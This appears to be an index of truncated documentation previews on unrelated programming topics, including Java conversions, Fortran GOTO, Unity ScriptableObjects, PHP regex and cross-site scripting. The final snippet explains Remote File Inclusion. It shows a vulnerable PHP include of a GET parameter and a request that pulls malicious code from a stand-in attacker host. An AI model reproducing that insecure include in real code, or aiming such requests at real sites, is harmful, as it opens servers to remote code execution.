In Java, we can convert between integer values and floating-point values. Also, since every character corresponds to a number in the Unicode encoding, char types can be converted to and from the integer and floating-point types. boolean is the only primitive datatype that cannot be converted to or f...

Recursion can be used to receive multiple messages defmodule Processes do def receiver do receive do {:ok, val} -> IO.puts "Received Value: #{val}" _ -> IO.puts "Received something else" end...

Detailed instructions on getting jvm set up or installed.

For a function or subroutine to be useful it has to be referenced. A subroutine is referenced in a call statement call sub(...) and a function within an expression. Unlike in many other languages, an expression does not form a complete statement, so a function reference is often seen in an ass...

Like the built-in python interactive shell, IPython is a REPL (Read-Evaluate-Print Loop) shell, with a variety of features that make it more pleasant to use for day-to-day Python development than the built-in REPL shell. Installation To install it: pip install ipython Or, via Anaconda: # To i...

Assigned GOTO uses integer variable to which a statement label is assigned using the ASSIGN statement. 100 CONTINUE ... ASSIGN 100 TO ILABEL ... GOTO ILABEL Assigned GOTO is obsolescent in Fortran 90 and deleted in Fortran 95 and later. It can be avoided in modern code by using pro...

Computed GOTO allows branching of the program according to the value of an integer expression. GOTO (label_1, label_2,... label_n) scalar-integer-expression If scalar-integer-expression is equal to 1 the program continues at statement label label_1, if it is equal to 2 it goes to label_2 and so ...

There are three MonoBehaviour methods that can be made coroutines. Start() OnBecameVisible() OnLevelWasLoaded() This can be used to create, for example, scripts that execute only when the object is visible to a camera. using UnityEngine; using System.Collections; public class RotateObje...

ScriptableObjects are serialized objects that are not bound to scenes or gameobjects as MonoBehaviours are. To put it one way, they are data and methods bound to asset files inside your project. These ScriptableObject assets can be passed to MonoBehaviours or other ScriptableObjects, where their pub...

You create new ScriptableObject instances through ScriptableObject.CreateInstance<T>() T obj = ScriptableObject.CreateInstance<T>(); Where T extends ScriptableObject. Do not create ScriptableObjects by calling their constructors, ie. new ScriptableObject(). Creating ScriptableO...

Extra care should be taken when accessing serialized fields in a ScriptableObject instance. If a field is marked public or serialized through SerializeField, changing its value is permanent. They do not reset when exiting playmode like MonoBehaviours do. This can be useful at times, but it can also...

Problem Cross-site scripting is the unintended execution of remote code by a web client. Any web application might expose itself to XSS if it takes input from a user and outputs it directly on a web page. If input includes HTML or JavaScript, remote code can be executed when this content is rende...

preg_match can be used to parse string using regular expression. The parts of expression enclosed in parenthesis are called subpatterns and with them you can pick individual parts of the string. $str = "<a href=\"http://example.org\">My Link</a>"; $pattern = "/...

Remote File Inclusion Remote File Inclusion (also known as RFI) is a type of vulnerability that allows an attacker to include a remote file. This example injects a remotely hosted file containing a malicious code: <?php include $_GET['page']; /vulnerable.php?page=http://evil.example.com/...
